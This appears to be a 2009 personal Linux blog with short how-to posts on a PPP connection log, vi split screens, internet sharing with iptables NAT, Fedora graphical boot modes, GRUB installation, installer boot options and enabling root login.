--> Carrier detected.  Starting PPP immediately.
--> Starting pppd at Sun Nov  8 11:05:07 2009
--> Pid of pppd: 2719
--> pppd: [18]��
--> Using interface ppp0
--> pppd: [18]��
--> pppd: [18]��
--> pppd: [18]��
--> pppd: [18]��
--> local  IP address 115.184.115.103
--> pppd: [18]��
--> remote IP address 220.224.141.145
--> pppd: [18]��
--> primary   DNS address 202.138.103.100
--> pppd: [18]��
--> secondary DNS address 202.138.96.2
--> pppd: [18]��


I am not sure now what are these mojibake character, but surely they are due to my terminal settings ..

So first thing i am doing after connecting to internet is writing this blog. hope to see your comment when you get connected

Cheers !

Wednesday, September 2, 2009

Split Screen on vi terminal

Sometimes we need to open multiple files even though we are aware of diff and many other ways of file comparison . We can open two or more files in split windows for comparison.
we will open two files in same terminal window..
open first file normally as we do 
$ vi first.txt
for opening second file in same vi display type 
$ :new second.txt
to navigate in between the windows use
ctrl + w
j     (move to lower window)
or
ctrl + w
k   (move to upper window)

for expanding a split window to full big screen 
:only
you can also open a new file by just typing 
:new 

if file opened by :new is now named , you wont be able to save it with just 
:wq 
instead u have to give 
:wq nameForNewFile.txt
Keep giving comments .. :)

Friday, August 28, 2009

Sharing internet using iptables

I am explaining how two share internet from one connection to other, here i am using one connection on my ethernet port to share with the wireless add hoc network.

settings at ethernet port (eth0)
IP : 192.168.1.9
MASK : 255.255.255.0
Gateway : 192.168.1.1

my laptop is configured to get internet from modem connected through LAN port and IP address of Modem is 192.168.1.1

settings for my Wifi Adaptor(wan0)
IP : 192.168.0.1
MASK : 255.255.255.0
Gateway : 192.168.1.1

now after this i have created an add hoc network so the systems connecting to my WiFi add hoc network must have following configuration
IP : 192.168.0.[2-254]
MASK : 255.255.255.0
Gateway : 192.168.0.1
DNS  : 192.168.0.1

Now configuration part is done, next we need to setup sharing, first of all we will enable ip forwarding by issuing following command as root user
sysctl -w net.ipv4.ip_forward=1
To enable it in system startup, edit the file /etc/sysctl.conf and set
net.ipv4.ip_forward = 1
now for sharing do the following commands. this should again be done as root user
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
service iptables save

I use open DNS for better resolution, you can also tryout same
208.67.222.222
208.67.220.220

Sunday, August 23, 2009

Add graphics to fedora 10 boot screen

In order to see the graphical boot, you must enable a mode setting for your video. Most users will find vesafb allows most standard VGA resolutions. Some (older) examples are in Linux Kernel Documentation / fb / vesafb.txt. You must have a proper Kernel mode number. For example I selected: 0x318 for 1024x768x16M resolution on a desktop CRT monitor.

As 'root', edit /boot/grub/grub.conf, and add 'vga=0x318' to the end of the kernel line. For example:

title Fedora (2.6.27.5-117.fc10.i686)
root (hd0,9)
kernel /boot/vmlinuz-2.6.27.5-117.fc10.i686 ro root=UUID=bb061789-157b-4cb2-85c8-633026e8df1e rhgb quiet vga=0x318
initrd /boot/initrd-2.6.27.5-117.fc10.i686.img


The graphic modes are NOT in the list which you get if you boot with vga=ask and hit return. The mode you wish to use is derived from the VESA mode number. Here are those VESA mode numbers:

| 640x480 800x600 1024x768 1280x1024
----+-------------------------------------
256 | 0x101 0x103 0x105 0x107
32k | 0x110 0x113 0x116 0x119
64k | 0x111 0x114 0x117 0x11A
16M | 0x112 0x115 0x118 0x11B

The video mode number of the Linux kernel is the VESA mode number plus 0x200. Linux_kernel_mode_number = VESA_mode_number + 0x200

So the table for the Kernel mode numbers are:

| 640x480 800x600 1024x768 1280x1024
----+-------------------------------------
256 | 0x301 0x303 0x305 0x307
32k | 0x310 0x313 0x316 0x319
64k | 0x311 0x314 0x317 0x31A
16M | 0x312 0x315 0x318 0x31B

installing GRUB

on grub terminal
(in bold are the commands, italics is output to commands)


find /boot/grub/stage1
hd(0,1)
hd(0,3)


to find out which partitions in my computer have GRUB installed in them

root (hd0,1)
Filesystem type is ext3fs, partition type 0x83

telling that this root partition contains grub and is to be installed it will give file system type
f I know I have Ubuntu in partition 2 and Debian in partition 4 and I want Ubuntu's GRUB installed to MBR, I set (hd0,1) as GRUB's root device here. If I chose (hd0,3) that would install Debain's GRUB
here i am installing Ubuntu's grub according to the assumption.

setup (hd0)
Checking if "/boot/grub/stage1" exists... yes
Checking if "/boot/grub/stage2" exists... yes
Checking if "/boot/grub/e2fs_stage1_5" exists... yes
Running "embed /boot/grub/e2fs_stage1_5 (hd0)"... 15 sectors are embedded.
succeeded
Running "install /boot/grub/stage1 d (hd0) (hd0)1+15 p (hd0,1)/boot/grub/stage
2 /boot/grub/menu.lst"... succeeded
Done.


setup (hd0)' is the command to install Grub's stage1 to MBR in the first hard disk.

We have to do some more tricks to install grub to non MBR partition

Various LInux Booting options

Boot time command args:

expert Turns on special features:
- allows partitioning of removable media
- prompts for driver disk

noshell Do not put a shell on tty2 during install.

lowres Force GUI installer to run at 640x480.

resolution= Run installer in mode specified, '1024x768' for example.

nousb Do not load USB support (helps if install hangs early sometimes).

nofb Do not load the VGA16 framebuffer required for doing text-mode installation in some languages.

nofirewire Do not load support for firewire devices

askmethod Do not automatically use the CD-ROM as the install source if we detect a Red Hat Linux CD in your CD-ROM drive.

nousbstorage Do not load usbstorage module in loader. May help with device ordering on SCSI systems.

noparport Do not attempt to load support for parallel ports

noprobe Do not attempt to detect hw, prompts user instead.

nopcmcia Ignore PCMCIA controller in system.

skipddc Skips DDC probe of monitor, may help if its handing system.

graphical Force graphical install. Required to have ftp/http use GUI.

text Force text mode install.

vnc Enable vnc-based installation. You will need to connect to the machine using a vnc client application.

vncpassword= Enable a password for the vnc connection. This will prevent someone from inadvertantly connecting to the vnc-based installation. Requires 'vnc' option to be specified as well.

vncconnect=[:] Once installation is up and running, connect to the vnc client named , and optionally use port . Requires 'vnc' option to be specified as well.

updates Prompt for floppy containing updates (bug fixes).

isa Prompt user

enable root login

Login with default user and type
>>>>>$ sudo su
It will ask for password give password and you are now root user check the shell prompt(#)
Now type
>>>>># passwd
And enter new password for root , confirm it by typing once again
Now your password for root is set
Now open
System > Administration > Login Window
Go for Security tab
Check the box with option Allow system Administrator login
Done
you can do root login

You can play with some more options there like automatic login and Timed login
Enjoy !